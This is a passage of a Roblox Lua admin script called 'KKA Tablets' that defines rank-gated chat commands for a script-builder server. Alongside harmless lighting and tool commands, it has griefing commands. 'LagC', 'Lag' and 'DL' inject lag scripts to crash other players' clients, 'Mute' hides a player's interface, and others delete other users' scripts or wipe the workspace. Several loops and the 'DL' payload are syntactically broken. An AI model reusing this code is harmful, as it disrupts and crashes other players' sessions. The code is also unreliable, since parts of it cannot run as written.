- local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local cPos = tab.Position
- local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
- local nPos = (ePos-cPos)*.25
- cPos = cPos + nPos
- tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
- end)
- end
- end
- end
- end
- end)
- end
- Plrs.PlayerAdded:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local JoinPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- PlaceSpecificRank(Plr)
- end))
- coroutine.resume(coroutine.create(function()
- if Injected[JoinPlrName] ~= nil then
- Injected[JoinPlrName] = nil
- end
- end))
- coroutine.resume(coroutine.create(function()
- Dismiss(Plr)
- Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
- end))
- end
- end)
- end)
- Plrs.PlayerRemoving:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local LeftPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- if Injected[LeftPlrName] ~= nil then
- Injected[LeftPlrName] = nil
- end
- end))
- end
- end)
- end)
- Command("Cmds", 1, "Shows the list of commands", function(Msg, Speaker)
- Dismiss(Speaker.Name)
- Output("KKA Tablets made by Cobalt1164 | More credits in info/",Speaker,nil,nil,Database.Colors.Green)
- Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Output("Rank 0", Speaker, nil, function()
- if FindRank(Speaker) >= 0 then
- OpenCmds(0, Speaker)
- end
- end)
- Output("Rank 1", Speaker, nil, function()
- if FindRank(Speaker) >= 1 then
- OpenCmds(1, Speaker)
- end
- end)
- Output("Rank 2", Speaker, nil, function()
- if FindRank(Speaker) >= 2 then
- OpenCmds(2, Speaker)
- end
- end)
- Output("Rank 3", Speaker, nil, function()
- if FindRank(Speaker) >= 3 then
- OpenCmds(3, Speaker)
- end
- end)
- Output("Rank 4", Speaker, nil, function()
- if FindRank(Speaker) >= 4 then
- OpenCmds(4, Speaker)
- end
- end)
- Output("Rank 5", Speaker, nil, function()
- if FindRank(Speaker) >= 5 then
- OpenCmds(5, Speaker)
- end
- end)
- Output("Rank 6", Speaker, nil, function()
- if FindRank(Speaker) >= 6 then
- OpenCmds(6, Speaker)
- end
- end)
- Output("Rank 7", Speaker, nil, function()
- if FindRank(Speaker) >= 7 then
- OpenCmds(7, Speaker)
- end
- end)
- end)
- Command("Dtt", 1, "Dismiss someones Tablets" ,function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Dismiss(v)
- end)
- end
- end
- end)
- Command("Dall", 6, "Dismiss All Tablets" ,function(Msg, Speaker)
- Dismiss()
- end)
- Command("Dt", 1, "Dismiss your Tablets" ,function(Msg, Speaker)
- Dismiss(Speaker.Name)
- end)
- Command("btools", 3, "Gives a player Btools", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("HopperBin", v.Backpack).BinType = "Hammer"
- Instance.new("HopperBin", v.Backpack).BinType = "Clone"
- Instance.new("HopperBin", v.Backpack).BinType = "Grab"
- Output("Gave "..v.Name.." Building Tools", Speaker, 5)
- end)
- end
- end
- end)
- Command("rlegs", 3, "Removes a player's legs",
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for plr in pairs(v.Character) do
- if plr.Name == "Left Leg" or plr.Name == "Right Leg" then
- plr:Remove()
- Output("Removed "..v.Name.."'s legs", Speaker, 5)
- end
- end
- end)
- end
- end
- end)
- Command("rarms", 3, "Removes a player's arms",
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for plr in pairs(v.Character) do
- if plr.Name == "Left Arm" or plr.Name == "Right Arm" then
- plr:Remove()
- Output("Removed "..v.Name.."'s arms", Speaker, 5)
- end
- end
- end)
- end
- end
- end)
- Command("Afrup", 1, "Asks admins for a rank up", function(Msg, Speaker)
- Output(Speaker.Name.." wants to be ranked up", Plrs:children(), 5)
- end)
- Command("Afb", 1, "Asks to battle", function(Msg, Speaker)
- Output(Speaker.Name.." wants to battle", Plrs:children(), 5)
- end)
- Command("Expl", 3, "Explodes a player",
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Character and v.Character:findFirstChild("Head") then
- local e = Instance.new("Explosion")
- e.Position = v.Character.Head.Position
- e.Parent = v.Character
- Output("Exploded "..v.Name, Speaker, 5)
- end
- end)
- end
- end
- end)
- Command("RModel", 7, "Rejoins a model", function(Msg, Speaker)
- game:service'TeleportService':Teleport(game.PlaceId,game.Workspace[Msg])
- end)
- Command("Mute", 7, "Mutes a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Name ~= Owner then
- NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',false)]],v.Backpack)
- Output("Muted "..v.Name, Speaker, 5)
- end
- end)
- end
- end
- end)
- Command("Rej", 5, "Rejoin a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- game:service'TeleportService':Teleport(game.PlaceId,v.Character)
- Output("Rejoined "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("LagC", 6, "Lag crashes a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(LagSource, v.Backpack)
- v:Kick()
- Output("Lag Crashing "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Unmute", 3, "Unmutes a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',true)]],v.Backpack)
- Output("Unmuted "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("DisableS", 5, "Disables a script", function(Msg, Speaker)
- local Worked = false
- for _,v in pairs(Work:GetChildren()) do
- if string.find(v.Name:lower(), Msg:lower()) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- Worked = true
- Output("Disabled : "..v.Name, Speaker, 5)
- end
- end
- end
- if Worked == false then
- Output("Script False Found", Speaker, 5)
- end
- end)
- Command("Los", 1, "Locates scripts in workspace", function(Msg, Speaker)
- Dismiss(Speaker)
- local AllScripts = {}
- for _,v in pairs(Work:GetChildren()) do
- if v:IsA("Script") then
- table.insert(AllScripts, v.Name)
- end
- end
- if #AllScripts > 0 then
- for _,v in pairs(AllScripts) do
- Output(v, Speaker)
- end
- else
- Output("No Scripts Found", Speaker, 5)
- end
- end)
- Command("Afk",1,'Tells other players that your AFK',
- function(Msg,Speaker)
- Dismiss(Speaker)
- Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
- Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
- Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
- Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
- Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
- Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
- Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
- end)
- Command("Back",1,'Tells other players that you have returned',
- function(Msg,Speaker)
- Dismiss(Speaker)
- for i = 1,8 do
- Output('Welcome back!',Speaker,6)
- wait(.1)
- end
- end)
- Command("Lss", 1, "Shows all local scripts", function(Msg, Speaker)
- Dismiss(Speaker)
- local LocalScripts = {}
- for _,v in pairs(All()) do
- ypcall(function()
- for _,x in pairs(v.Character:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.Backpack:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.PlayerGui:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- end
- if #LocalScripts > 0 then
- for _,v in pairs(LocalScripts) do
- Output(v, Speaker)
- end
- else
- Output("No Local Scripts Found", Speaker, 5)
- end
- end)
- Command("DisableLS", 5, "Disables a local script", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local ScriptName = Msg:sub(Split + 1)
- local FoundLocal = false
- for _,name in pairs(PlrTab) do
- ypcall(function()
- for _,v in pairs(name.Character:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Output("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.Backpack:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Output("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- ypcall(function()
- for _,v in pairs(name.PlayerGui:GetChildren()) do
- if string.find(v.Name:lower(), ScriptName) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- FoundLocal = true
- Output("Disabled Local Script: "..v.Name, Speaker, 5)
- end
- end
- end
- end)
- if FoundLocal == false then
- Output("Local Script False Found", Speaker, 5)
- end
- end
- end)
- Command("mClean", 5, "Mega Clean", function(Msg, Speaker)
- NewS([[
- for _,v in pairs(game.Workspace:GetChildren()) do
- if v.Name ~= "Terrain" then
- v:Destroy()
- end
- end
- ]],game.Workspace)
- a = Instance.new("Part")
- a.Parent = game.Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Earth green")
- NewS([[
- for _,v in pairs(game.Players:GetChildren()) do
- v:LoadCharacter()
- end
- ]], game.Workspace)
- Output("Mega Cleaned.", Speaker, 5)
- end)
- Command("Base", 3, "Creates a new base", function(Msg, Speaker)
- if game.Workspace:findFirstChild("Base") then
- game.Workspace.Base:Remove()
- end
- if game.Workspace:findFirstChild("Part") then
- game.Workspace.Part:Remove()
- end
- if game.Workspace:findFirstChild("Baseplate") then
- game.Workspace.Baseplate:Remove()
- end
- a = Instance.new("Part")
- a.Parent = game.Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Earth green")
- Output("Successfully created a new base",Speaker)
- end)
- Command("BallBase", 3, "Creates a new ball shaped base", function(Msg, Speaker)
- if game.Workspace:findFirstChild("Base") then
- game.Workspace.Base:Remove()
- end
- if game.Workspace:findFirstChild("Part") then
- game.Workspace.Part:Remove()
- end
- if game.Workspace:findFirstChild("Baseplate") then
- game.Workspace.Baseplate:Remove()
- end
- a = Instance.new("Part")
- a.Parent = game.Workspace
- a.Name = "Base"
- a.Shape = "Ball"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Dark green")
- Output("Successfully created a new ball shaped base",Speaker)
- end)
- Command("Cl", 5, "Cleans the server", function(Msg, Speaker)
- for _,v in pairs(game.Workspace:children()) do
- if v:IsA "Script" or v:IsA "LocalScript" or v:IsA "Message" or v:IsA "Hint" or v:IsA "Explosion" then
- v:Remove()
- end
- Output("Lightly cleaned workspace", Speaker, 5)
- end
- end)
- Command("Priadd", 3, "Adds a player into the private servers list", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- table.insert(PrivPlrs, v)
- Output("Added "..v.Name.." into the Private Players list", Speaker, 5)
- end)
- end
- end
- end)
- Command("God", 3, "Makes a player immortal", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.MaxHealth = math.huge
- Output("Godded "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Ungod", 3, "Makes a player mortal", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.Health = 100
- wait()
- v.Character.Humanoid.MaxHealth = 100
- Output("Ungodded "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Lag", 7, "Lags a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.CameraMode = "LockFirstPerson"
- wait()
- NewLS(LagSource, v.Backpack)
- Output("Lagged "..v.Name.." badly", Speaker, 5)
- end)
- end
- end
- end)
- Command("DL", 7, "Makes a player lag very bad", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS([[repeat Instance.new("Message"
- until, game.Players.LocalPlayer.PlayerGui).
- Text = "Such Lag"
- until
- return]], v.Backpack)
- end)
- end
- end
- end)
- Command("MiniP", 7, "Gives a player minipeep", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(MiniPeep, v.Backpack)
- Output("Gave "..v.Name.." Mini-Peep", Speaker, 5)
- end)
- end
- end
- end)
- Command("ClrB", 7, "Clears a player's backpack", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Backpack:ClearAllChildren()
- Output("Cleared "..v.Name.."'s backpack", Speaker, 5)
- end)
- end
- end
- end)
- Command("RemvB", 7, "Removes a player's backpack", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Backpack:Remove()
- Output("Removed "..v.Name.."'s backpack", Speaker, 5)
- end)
- end
- end
- end)
- Command("Raven", 7, "Gives a player a raven", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Raven, v.Backpack)
- Output("Gave "..v.Name.." a raven", Speaker, 5)
- end)
- end
- end
- end)
- Command("Fly", 7, "Flies a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Fly, v.Backpack)
- Output("Press E to Fly!", v, 5)
- end)
- end
- end
- end)
- Command("Jail", 3, "Jails a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(JailSource, v.Backpack)
- Output("Jailed"..v.Name.."", Speaker, 5)
- end)
- end
- end
- end)
- Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,c in pairs(PlrTab) do
- ypcall(function()
- for c, pairs in (v.Character:children()) do
- if c:IsA("Part") then
- c.Transparency = 0.5
- end
- end
- Output("Turned "..v.Name.." into a ghost", Speaker, 5)
- end)
- end
- end
- end)
- Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for _, c in pairs(v.Character:children()) do
- if c:IsA("Part") then
- c.Transparency = 1
- end
- end
- Output("Disappeared "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Visible", 3, "Makes a player visible", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for _,c in pairs(v.Character:children()) do
- if c:IsA("Part") then
- c.Transparency = 0
- end
- end
- Output("Showed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Shine", 3, "Makes a player shiny", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for c, pairs in (v.Character:children()) do
- if c:IsA("Part") then
- c.Reflectance = 1
- end
- end
- Output("Shinied "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Unshine", 3, "Makes a player unshiny", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for c, pairs in (v.Character:children()) do
- if c:IsA("Part") then
- c.Reflectance = 0
- end
- end
- Output("Removed shininess from "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Noob", 3, "Turns a player into a noob", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Noob, v.Backpack)
- Output("Noobifyed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("RCLO", 3, "Removes a player's clothing", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for c, pairs in (v.Character:children()) do
- if c:IsA("Shirt") then
- c:remove()
- elseif c:IsA("Pants") then
- c:remove()
- end
- end
- Output("Nkd "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("RemoveSG", 6, "Removes a player's SB", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(DisSB, v.Backpack)
- Output("Disabled "..v.Name.."'s SB", Speaker, 5)
- end)
- end
- end
- end)
- Command("Respawn", 3, "Respawns a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v:LoadCharacter()
- Output("Respawned "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Home", 1, "Teleports the server home", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- repeat wait() until v.Character:findFirstChild("Torso")
- if Work:findFirstChild("Base") then
- v.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
- else
- v.Character.Torso.CFrame = CFrame.new(0, 5, 0)
- end
- Output("Teleported "..v.Name.." Home", Speaker, 5)
- end)
- end
- end
- end)
- Command("Freeze", 3, "Makes a player frozen", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Torso.Anchored = true
- Output("Froze "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Thaw", 3, "Makes a player unfrozen", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- for _,v2 in pairs(v.Character:GetChildren()) do
- ypcall(function()
- v.Anchored = false
- end)
- end
- Output("Thawed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Bet", 1, "Shows current bet", function(Msg, Speaker)
- Bet = (tostring(Msg))
- Output("The current bet is '"..Bet.. "'", nil, nil)
- end)
- Command("CheckSB", 1, "Checks what SB you are on", function(Msg, Speaker)
- Output("You are on "..SB.."'s SB.", Speaker, nil)
- end)
- Command("Version", 1, "Checks the admin's Version", function(Msg, Speaker)
- Output("Version is "..Version, Speaker, nil)
- end)
- Command("Updates", 1, "Shows what was updated", function(Msg, Speaker)
- Output("Updates: "..Updates, Speaker, nil)
- end)
- Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker)
- if Msg == "night" then
- NewS(Night, game.Workspace)
- elseif Msg == "day" then
- NewS(Day, game.Workspace)
- elseif Msg == "morn" then
- NewS(Morning, game.Workspace)
- end
- end)
- Command("Pri", 7, "Turns private server on/off", function(Msg, Speaker)
- if Msg == "on" then
- Priv = true
- elseif Msg == "off" then
- Priv = false
- end
- end)
- Command("GlobalSh", 3, "Turns Global Shadows off/on", function(Msg, Speaker)
- if Msg == "on" then
- game.Lighting.GlobalShadows = true
- elseif Msg == "off" then
- game.Lighting.GlobalShadows = false
- end
- end)
- Command("OutL", 3, "Turns Outlines off/on", function(Msg, Speaker)
- if Msg == "on" then
- game.Lighting.Outlines = true
- elseif Msg == "off" then
- game.Lighting.Outlines = false
- end
- end)
- Command("GeogrL", 3, "Changes the Geographic Latitude", function(Msg, Speaker)
- game.Lighting.GeographicLatitude = (tonumber(Msg))
- end)
- Command("FogE", 3, "Changes the Fog End", function(Msg, Speaker)
- game.Lighting.FogEnd = (tonumber(Msg))
- end)
- Command("FogS", 3, "Changes the Fog Start", function(Msg, Speaker)
- game.Lighting.FogStart = (tonumber(Msg))
- end)
- Command("TimeOD", 3, "Changes the time of day", function(Msg, Speaker)
- game.Lighting.TimeOfDay = (tonumber(Msg))
- end)
- Command("Ambient", 3, "Changes the Ambient", function(Msg, Speaker)
- game.Lighting.Ambient = Color3.new(tonumber(Msg))
- end)
- Command("ColorShiftB", 3, "Changes the ColorShift Bottom", function(Msg, Speaker)
- game.Lighting.ColorShift_Bottom = Color3.new(tonumber(Msg))
- end)
- Command("ColorshiftT", 3, "Changes the ColorShift Top", function(Msg, Speaker)
- game.Lighting.ColorShift_Top = Color3.new(tonumber(Msg))
- end)
- Command("OutdoorAmb", 3, "Changes the Outdoor Ambient", function(Msg, Speaker)
- game.Lighting.OutdoorAmbient = Color3.new(tonumber(Msg))
- end)
- Command("ShadowC", 3, "Changes the Shadow color", function(Msg, Speaker)
- game.Lighting.ShadowColor = Color3.new(tonumber(Msg))
- end)
- Command("FogC", 3, "Changes the Fog color", function(Msg, Speaker)
- game.Lighting.FogColor = Color3.new(tonumber(Msg))
- end)
- Command("BrightC", 3, "Changes the Brightness", function(Msg, Speaker)
- game.Lighting.Brightness = (tonumber(Msg))
- end)
- Command("PointL", 3, "Gives a player light", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- local pie = Instance.new("PointLight", v.Character.Torso)
- pie.Range = 10
- pie.Shadows = true
- pie.Brightness = 50
- end)
- end
- end
- end)
- Command("UnPointL", 3, "Removes player's light", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Torso:findFirstChild("PointLight"):Remove()
- end)
- end
- end
- end)
- Command("Punish", 3, "Punishes a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Parent = game:GetService("Lighting")
- end)
- end
- end
- end)
- Command("Unpun", 3, "Unpunishes a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Parent = game.Workspace
- v.Character:MakeJoints()
- end)
- end
- end
- end)
- Command("CSword", 3, "Gives a player a sword, a classic one", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- local tool = Instance.new("Tool", v.Backpack)
- tool.Name = "Sword"
- tool.ToolTip = "Classy Sword"
- tool.TextureId = "rbxasset://Textures/Sword128.png"
- tool.GripForward = Vector3.new(-1,0,0)
- tool.GripPos = Vector3.new(0,0,-1.5)
- tool.GripRight = Vector3.new(0,1,0)
- tool.GripUp = Vector3.new(0,0,1)
- local sword = Instance.new("Part", tool)
- sword.Name = "Handle"
- sword.Locked = true
- sword.Reflectance = 0.4
- sword.BrickColor = BrickColor.new("Dark stone grey")
- sword.Size = Vector3.new(1,0.8,4)
- local mesh = Instance.new("SpecialMesh", sword)
- mesh.MeshType = "FileMesh"
- mesh.MeshId = "rbxasset://fonts/sword.mesh"
- mesh.TextureId = "rbxasset://textures/SwordTexture.png"
- NewS([[
- r = game:service("RunService")
- local damage = 5
- local slash_damage = 10
- local lunge_damage = 30
- sword = script.Parent.Handle
- Tool = script.Parent
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
- SlashSound.Parent = sword
- SlashSound.Volume = .7
- local LungeSound = Instance.new("Sound")
- LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
- LungeSound.Parent = sword
- LungeSound.Volume = .6
- local UnsheathSound = Instance.new("Sound")
- UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
- UnsheathSound.Parent = sword
- UnsheathSound.Volume = 1
- function blow(hit)
- if (hit.Parent == nil) then return end -- happens when bullet hits sword
- local humanoid = hit.Parent:findFirstChild("Humanoid")
- local vCharacter = Tool.Parent
- local vPlayer = game.Players:playerFromCharacter(vCharacter)
- local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
- if humanoid~=nil and humanoid ~= hum and hum ~= nil then
- -- final check, make sure sword is in-hand
- local right_arm = vCharacter:FindFirstChild("Right Arm")
- if (right_arm ~= nil) then
- local joint = right_arm:FindFirstChild("RightGrip")
- if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
- tagHumanoid(humanoid, vPlayer)
- humanoid:TakeDamage(damage)
- wait(1)
- untagHumanoid(humanoid)
- end
- end
- end
- end
- function tagHumanoid(humanoid, player)
- local creator_tag = Instance.new("ObjectValue")
- creator_tag.Value = player
- creator_tag.Name = "creator"
- creator_tag.Parent = humanoid
- end
- function untagHumanoid(humanoid)
- if humanoid ~= nil then
- local tag = humanoid:findFirstChild("creator")
- if tag ~= nil then
- tag.Parent = nil
- end
- end
- end
- function attack()
- damage = slash_damage
- SlashSound:play()
- local anim = Instance.new("StringValue")
- anim.Name = "toolanim"
- anim.Value = "Slash"
- anim.Parent = Tool
- end
- function lunge()
- damage = lunge_damage
- LungeSound:play()
- local anim = Instance.new("StringValue")
- anim.Name = "toolanim"
- anim.Value = "Lunge"
- anim.Parent = Tool
- force = Instance.new("BodyVelocity")
- force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
- force.Parent = Tool.Parent.Torso
- wait(.25)
- swordOut()
- wait(.25)
- force.Parent = nil
- wait(.5)
- swordUp()
- damage = slash_damage
- end
- function swordUp()
- Tool.GripForward = Vector3.new(-1,0,0)
- Tool.GripRight = Vector3.new(0,1,0)
- Tool.GripUp = Vector3.new(0,0,1)
- end
- function swordOut()
- Tool.GripForward = Vector3.new(0,0,1)
- Tool.GripRight = Vector3.new(0,-1,0)
- Tool.GripUp = Vector3.new(-1,0,0)
- end
- function swordAcross()
- -- parry
- end
- Tool.Enabled = true
- local last_attack = 0
- function onActivated()
- if not Tool.Enabled then
- return
- end
- Tool.Enabled = false
- local character = Tool.Parent;
- local humanoid = character.Humanoid
- if humanoid == nil then
- print("Humanoid not found")
- return
- end
- t = r.Stepped:wait()
- if (t - last_attack < .2) then
- lunge()
- else
- attack()
- end
- last_attack = t
- --wait(.5)
- Tool.Enabled = true
- end
- function onEquipped()
- UnsheathSound:play()
- end
- script.Parent.Activated:connect(onActivated)
- script.Parent.Equipped:connect(onEquipped)
- connection = sword.Touched:connect(blow)
- ]], tool)
- NewLS([[
- local Tool = script.Parent;
- enabled = true
- function onButton1Down(mouse)
- if not enabled then
- return
- end
- enabled = false
- mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"
- wait(.5)
- mouse.Icon = "rbxasset://textures\\GunCursor.png"
- enabled = true
- end
- function onEquippedLocal(mouse)
- if mouse == nil then
- print("Mouse not found")
- return
- end
- mouse.Icon = "rbxasset://textures\\GunCursor.png"
- mouse.Button1Down:connect(function() onButton1Down(mouse) end)
- end
- Tool.Equipped:connect(onEquippedLocal)
- ]], tool)
- end)
- end
- end
- end)
